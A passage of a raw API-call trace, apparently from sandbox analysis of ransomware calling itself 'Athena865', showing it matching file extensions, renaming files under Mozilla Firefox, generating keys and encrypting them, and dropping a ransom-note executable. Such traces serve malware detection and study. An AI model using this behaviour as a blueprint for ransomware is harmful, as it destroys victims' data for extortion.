lpString2="myd") returned -1 [0045.685] lstrlenW (lpString="ndf") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0045.685] lstrlenW (lpString="nnt") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0045.685] lstrlenW (lpString="nrmlib") returned 6 [0045.685] lstrcmpiW (lpString1="er.ini", lpString2="nrmlib") returned -1 [0045.685] lstrlenW (lpString="ns2") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0045.686] lstrlenW (lpString="ns3") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0045.686] lstrlenW (lpString="ns4") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0045.686] lstrlenW (lpString="nsf") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0045.686] lstrlenW (lpString="nv") returned 2 [0045.686] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0045.686] lstrlenW (lpString="nv2") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0045.686] lstrlenW (lpString="nwdb") returned 4 [0045.686] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0045.686] lstrlenW (lpString="nyf") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0045.686] lstrlenW (lpString="odb") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0045.686] lstrlenW (lpString="odb") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0045.686] lstrlenW (lpString="oqy") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0045.686] lstrlenW (lpString="ora") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0045.686] lstrlenW (lpString="orx") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0045.686] lstrlenW (lpString="owc") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0045.686] lstrlenW (lpString="p96") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0045.686] lstrlenW (lpString="p97") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0045.686] lstrlenW (lpString="pan") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0045.686] lstrlenW (lpString="pdb") returned 3 [0045.686] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0045.687] lstrlenW (lpString="pdm") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0045.687] lstrlenW (lpString="pnz") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0045.687] lstrlenW (lpString="qry") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0045.687] lstrlenW (lpString="qvd") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0045.687] lstrlenW (lpString="rbf") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0045.687] lstrlenW (lpString="rctd") returned 4 [0045.687] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0045.687] lstrlenW (lpString="rod") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0045.687] lstrlenW (lpString="rodx") returned 4 [0045.687] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0045.687] lstrlenW (lpString="rpd") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0045.687] lstrlenW (lpString="rsd") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0045.687] lstrlenW (lpString="sas7bdat") returned 8 [0045.687] lstrcmpiW (lpString1="ater.ini", lpString2="sas7bdat") returned -1 [0045.687] lstrlenW (lpString="sbf") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0045.687] lstrlenW (lpString="scx") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0045.687] lstrlenW (lpString="sdb") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0045.687] lstrlenW (lpString="sdc") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0045.687] lstrlenW (lpString="sdf") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0045.687] lstrlenW (lpString="sis") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0045.687] lstrlenW (lpString="spq") returned 3 [0045.687] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0045.688] lstrlenW (lpString="te") returned 2 [0045.688] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0045.688] lstrlenW (lpString="teacher") returned 7 [0045.688] lstrcmpiW (lpString1="ter.ini", lpString2="teacher") returned 1 [0045.688] lstrlenW (lpString="tmd") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0045.688] lstrlenW (lpString="tps") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0045.688] lstrlenW (lpString="trc") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0045.688] lstrlenW (lpString="trc") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0045.688] lstrlenW (lpString="trm") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0045.688] lstrlenW (lpString="udb") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0045.688] lstrlenW (lpString="udl") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0045.688] lstrlenW (lpString="usr") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0045.688] lstrlenW (lpString="v12") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0045.688] lstrlenW (lpString="vis") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0045.688] lstrlenW (lpString="vpd") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0045.688] lstrlenW (lpString="vvv") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0045.688] lstrlenW (lpString="wdb") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0045.688] lstrlenW (lpString="wmdb") returned 4 [0045.688] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0045.688] lstrlenW (lpString="wrk") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0045.688] lstrlenW (lpString="xdb") returned 3 [0045.688] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0045.688] lstrlenW (lpString="xld") returned 3 [0045.689] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0045.689] lstrlenW (lpString="xmlff") returned 5 [0045.689] lstrcmpiW (lpString1="r.ini", lpString2="xmlff") returned -1 [0045.689] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\updater.ini.Athena865") returned 60 [0045.689] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.ini.athena865"), dwFlags=0x1) returned 1 [0045.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0045.689] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1245) returned 1 [0045.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.690] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.690] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.690] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.691] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e0, lpName=0x0) returned 0x154 [0045.692] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e0) returned 0x100000 [0045.693] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.693] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.693] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.694] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0045.694] CloseHandle (hObject=0x154) returned 1 [0045.694] CloseHandle (hObject=0x17c) returned 1 [0045.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.696] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3875f800, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x29bd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webapp-uninstaller.exe", cAlternateFileName="WEBAPP~1.EXE")) returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2=".") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="..") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="windows") returned -1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="bootmgr") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="temp") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="pagefile.sys") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="boot") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="ids.txt") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="ntuser.dat") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="perflogs") returned 1 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2="MSBuild") returned 1 [0045.696] lstrlenW (lpString="webapp-uninstaller.exe") returned 22 [0045.696] lstrcpyW (in: lpString1=0x241e896, lpString2="webapp-uninstaller.exe" | out: lpString1="webapp-uninstaller.exe") returned="webapp-uninstaller.exe" [0045.696] lstrlenW (lpString="webapp-uninstaller.exe") returned 22 [0045.696] lstrlenW (lpString="Athena865") returned 9 [0045.696] lstrcmpiW (lpString1="aller.exe", lpString2="Athena865") returned -1 [0045.696] lstrlenW (lpString=".dll") returned 4 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2=".dll") returned 1 [0045.696] lstrlenW (lpString=".lnk") returned 4 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2=".lnk") returned 1 [0045.696] lstrlenW (lpString=".ini") returned 4 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2=".ini") returned 1 [0045.696] lstrlenW (lpString=".sys") returned 4 [0045.696] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2=".sys") returned 1 [0045.696] lstrlenW (lpString="webapp-uninstaller.exe") returned 22 [0045.697] lstrlenW (lpString="bak") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0045.697] lstrlenW (lpString="ba_") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0045.697] lstrlenW (lpString="dbb") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0045.697] lstrlenW (lpString="vmdk") returned 4 [0045.697] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0045.697] lstrlenW (lpString="rar") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0045.697] lstrlenW (lpString="zip") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0045.697] lstrlenW (lpString="tgz") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0045.697] lstrlenW (lpString="vbox") returned 4 [0045.697] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0045.697] lstrlenW (lpString="vdi") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0045.697] lstrlenW (lpString="vhd") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0045.697] lstrlenW (lpString="vhdx") returned 4 [0045.697] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0045.697] lstrlenW (lpString="avhd") returned 4 [0045.697] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0045.697] lstrlenW (lpString="db") returned 2 [0045.697] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0045.697] lstrlenW (lpString="db2") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0045.697] lstrlenW (lpString="db3") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0045.697] lstrlenW (lpString="dbf") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0045.697] lstrlenW (lpString="mdf") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0045.697] lstrlenW (lpString="mdb") returned 3 [0045.697] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0045.698] lstrlenW (lpString="sql") returned 3 [0045.698] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0045.698] lstrlenW (lpString="sqlite") returned 6 [0045.698] lstrcmpiW (lpString1="er.exe", lpString2="sqlite") returned -1 [0045.698] lstrlenW (lpString="sqlite3") returned 7 [0045.698] lstrcmpiW (lpString1="ler.exe", lpString2="sqlite3") returned -1 [0045.698] lstrlenW (lpString="sqlitedb") returned 8 [0045.698] lstrcmpiW (lpString1="ller.exe", lpString2="sqlitedb") returned -1 [0045.698] lstrlenW (lpString="xml") returned 3 [0045.698] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0045.698] lstrlenW (lpString="$er") returned 3 [0045.698] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0045.698] lstrlenW (lpString="4dd") returned 3 [0045.698] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0045.698] lstrlenW (lpString="4dl") returned 3 [0045.698] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0045.698] lstrlenW (lpString="^^^") returned 3 [0045.698] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0045.698] lstrlenW (lpString="abs") returned 3 [0045.698] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0045.698] lstrlenW (lpString="abx") returned 3 [0045.698] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0045.698] lstrlenW (lpString="accdb") returned 5 [0045.698] lstrcmpiW (lpString1="r.exe", lpString2="accdb") returned 1 [0045.698] lstrlenW (lpString="accdc") returned 5 [0045.698] lstrcmpiW (lpString1="r.exe", lpString2="accdc") returned 1 [0045.698] lstrlenW (lpString="accde") returned 5 [0045.698] lstrcmpiW (lpString1="r.exe", lpString2="accde") returned 1 [0045.698] lstrlenW (lpString="accdr") returned 5 [0045.698] lstrcmpiW (lpString1="r.exe", lpString2="accdr") returned 1 [0045.698] lstrlenW (lpString="accdt") returned 5 [0045.698] lstrcmpiW (lpString1="r.exe", lpString2="accdt") returned 1 [0045.698] lstrlenW (lpString="accdw") returned 5 [0045.698] lstrcmpiW (lpString1="r.exe", lpString2="accdw") returned 1 [0045.698] lstrlenW (lpString="accft") returned 5 [0045.698] lstrcmpiW (lpString1="r.exe", lpString2="accft") returned 1 [0045.699] lstrlenW (lpString="adb") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0045.699] lstrlenW (lpString="adb") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0045.699] lstrlenW (lpString="ade") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0045.699] lstrlenW (lpString="adf") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0045.699] lstrlenW (lpString="adn") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0045.699] lstrlenW (lpString="adp") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0045.699] lstrlenW (lpString="alf") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0045.699] lstrlenW (lpString="ask") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0045.699] lstrlenW (lpString="btr") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0045.699] lstrlenW (lpString="cat") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0045.699] lstrlenW (lpString="cdb") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0045.699] lstrlenW (lpString="ckp") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0045.699] lstrlenW (lpString="cma") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0045.699] lstrlenW (lpString="cpd") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0045.699] lstrlenW (lpString="dacpac") returned 6 [0045.699] lstrcmpiW (lpString1="er.exe", lpString2="dacpac") returned 1 [0045.699] lstrlenW (lpString="dad") returned 3 [0045.699] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0045.699] lstrlenW (lpString="dadiagrams") returned 10 [0045.699] lstrcmpiW (lpString1="taller.exe", lpString2="dadiagrams") returned 1 [0045.699] lstrlenW (lpString="daschema") returned 8 [0045.699] lstrcmpiW (lpString1="ller.exe", lpString2="daschema") returned 1 [0045.700] lstrlenW (lpString="db-journal") returned 10 [0045.700] lstrcmpiW (lpString1="taller.exe", lpString2="db-journal") returned 1 [0045.700] lstrlenW (lpString="db-shm") returned 6 [0045.700] lstrcmpiW (lpString1="er.exe", lpString2="db-shm") returned 1 [0045.700] lstrlenW (lpString="db-wal") returned 6 [0045.700] lstrcmpiW (lpString1="er.exe", lpString2="db-wal") returned 1 [0045.700] lstrlenW (lpString="dbc") returned 3 [0045.700] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0045.700] lstrlenW (lpString="dbs") returned 3 [0045.700] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0045.700] lstrlenW (lpString="dbt") returned 3 [0045.700] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0045.700] lstrlenW (lpString="dbv") returned 3 [0045.700] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0045.700] lstrlenW (lpString="dbx") returned 3 [0045.700] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0045.700] lstrlenW (lpString="dcb") returned 3 [0045.700] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0045.700] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0045.700] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe.Athena865") returned 71 [0045.700] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapp-uninstaller.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapp-uninstaller.exe.athena865"), dwFlags=0x1) returned 1 [0045.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapp-uninstaller.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0045.702] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=170960) returned 1 [0045.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.702] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.703] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.703] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.703] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29ed0, lpName=0x0) returned 0x154 [0045.705] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29ed0) returned 0x170000 [0045.724] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.725] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.725] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.726] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0045.727] CloseHandle (hObject=0x154) returned 1 [0045.727] CloseHandle (hObject=0x17c) returned 1 [0045.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.731] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webapprt", cAlternateFileName="")) returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2=".") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="..") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="windows") returned -1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="bootmgr") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="temp") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="pagefile.sys") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="boot") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="ids.txt") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="ntuser.dat") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="perflogs") returned 1 [0045.731] lstrcmpiW (lpString1="webapprt", lpString2="MSBuild") returned 1 [0045.731] lstrlenW (lpString="webapprt") returned 8 [0045.731] lstrcpyW (in: lpString1=0x241e896, lpString2="webapprt" | out: lpString1="webapprt") returned="webapprt" [0045.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5309b0 [0045.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51be28 [0045.731] lstrcatW (in: lpString1="webapprt", lpString2="\\" | out: lpString1="webapprt\\") returned="webapprt\\" [0045.731] lstrcatW (in: lpString1="webapprt\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="webapprt\\HOW TO BACK YOUR FILES.exe") returned="webapprt\\HOW TO BACK YOUR FILES.exe" [0045.731] CopyFileW 